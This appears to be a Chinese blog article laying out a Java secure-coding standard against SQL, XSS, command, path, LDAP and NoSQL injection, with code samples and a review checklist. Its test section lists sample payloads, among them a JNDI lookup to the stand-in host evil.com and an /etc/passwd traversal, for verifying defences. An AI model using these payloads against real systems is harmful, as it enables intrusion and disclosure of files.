Java防注入流程如何规范

wen java案例 32

Java防注入流程规范

输入验证规范

1 白名单验证

// 推荐:使用白名单验证
public boolean validateInput(String input) {
    String pattern = "^[a-zA-Z0-9_]+$";
    return input.matches(pattern);
}
// 不推荐:黑名单验证
public boolean validateInputBad(String input) {
    // 黑名单容易遗漏,且难以维护
    return !input.contains("'") && !input.contains("\"");
}

2 长度限制

// 所有用户输入必须有长度限制
if (input.length() > MAX_LENGTH) {
    throw new ValidationException("输入过长");
}

SQL注入防护

1 使用PreparedStatement(强制)

// 推荐:参数化查询
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement ps = connection.prepareStatement(sql);
ps.setString(1, username);
ps.setString(2, password);
ResultSet rs = ps.executeQuery();
// 禁止:字符串拼接SQL
// String sql = "SELECT * FROM users WHERE username = '" + username + "'";

2 MyBatis规范

<!-- 推荐:使用#{}参数绑定 -->
<select id="findUser" resultType="User">
    SELECT * FROM users WHERE username = #{username}
</select>
<!-- 避免:使用${}直接拼接 -->
<!-- SELECT * FROM users WHERE username = '${username}' -->

3 JPA/Hibernate规范

// 推荐:使用参数绑定
@Query("SELECT u FROM User u WHERE u.username = :username")
User findByUsername(@Param("username") String username);
// 避免:使用原生SQL拼接
// @Query(value = "SELECT * FROM users WHERE username = '" + username + "'", nativeQuery = true)

XSS防护规范

1 输出编码

// HTML上下文编码
String safeHtml = StringEscapeUtils.escapeHtml4(userInput);
// JavaScript上下文编码
String safeJs = StringEscapeUtils.escapeEcmaScript(userInput);
// URL上下文编码
String safeUrl = URLEncoder.encode(userInput, "UTF-8");

2 使用模板引擎自动转义

// Thymeleaf(默认开启HTML转义)
<p th:text="${userInput}"></p>
// FreeMarker(使用?html过滤器)
<p>${userInput?html}</p>

命令注入防护

1 禁止执行系统命令

// 禁止:直接执行用户输入
// Runtime.getRuntime().exec("ping " + userInput);
// 推荐:使用白名单预定义命令
public enum AllowedCommands {
    PING, TRACEROUTE, NSLOOKUP
}

2 文件路径安全

// 推荐:路径规范化并验证
Path basePath = Paths.get("/safe/directory");
Path userPath = basePath.resolve(userInput).normalize();
if (!userPath.startsWith(basePath)) {
    throw new SecurityException("非法的路径访问");
}

LDAP注入防护

// 使用转义库
import org.owasp.encoder.Encode;
String safeInput = Encode.forLDAP(userInput);

NOSQL注入防护

// MongoDB查询参数化
Document query = new Document("username", userInput); // 自动处理转义
// 避免使用字符串拼接
// String query = "{\"username\":\"" + userInput + "\"}";

代码审查清单

## 代码审查检查项
### SQL注入检查
- [ ] 所有SQL语句使用PreparedStatement或参数化查询
- [ ] 禁止字符串拼接SQL
- [ ] MyBatis中优先使用#{}而非${}
- [ ] JPA中使用命名参数而非拼接
### XSS检查
- [ ] 所有用户输入输出到HTML时进行编码
- [ ] 使用模板引擎的自动转义功能
- [ ] Cookie设置HttpOnly和Secure标志
### 其他检查
- [ ] 禁止执行系统命令
- [ ] 文件路径进行规范化检查
- [ ] 所有输入进行长度和格式验证

工具配置

1 依赖管理

<!-- pom.xml -->
<dependency>
    <groupId>org.owasp.encoder</groupId>
    <artifactId>encoder</artifactId>
    <version>1.2.3</version>
</dependency>
<dependency>
    <groupId>commons-validator</groupId>
    <artifactId>commons-validator</artifactId>
    <version>1.7</version>
</dependency>

2 安全配置

# application.yml
spring:
  # SQL错误不返回详细信息
  jpa:
    show-sql: false
  # 禁用HTTP TRACE方法
  mvc:
    dispatch-trace-request: false

测试规范

// 注入测试用例
@ParameterizedTest
@ValueSource(strings = {
    "' OR '1'='1",           // SQL注入
    "<script>alert(1)</script>", // XSS
    "${jndi:ldap://evil.com}",   // JNDI注入
    "../../../etc/passwd",       // 路径遍历
})
void testInjectionPrevention(String maliciousInput) {
    // 验证系统能够正确处理恶意输入
    assertDoesNotThrow(() -> service.processInput(maliciousInput));
    // 验证输出中没有恶意内容
    String output = service.processInput(maliciousInput);
    assertFalse(output.contains("' OR '1'='1"));
}

紧急处理流程

## 注入漏洞应急响应
1. **确认漏洞**
   - 记录攻击时间和IP
   - 收集相关日志
2. **立即处置**
   - 暂停受影响服务
   - 回滚到安全版本
3. **修复方案**
   - 实施验证过滤
   - 更新安全配置
4. **事后复盘**
   - 分析根因
   - 更新开发规范
   - 加强安全培训
  • 前置预防:输入验证 + 参数化查询
  • 过程控制:输出编码 + 安全配置
  • 事后检测:日志监控 + 安全测试

Java防注入流程如何规范

抱歉,评论功能暂时关闭!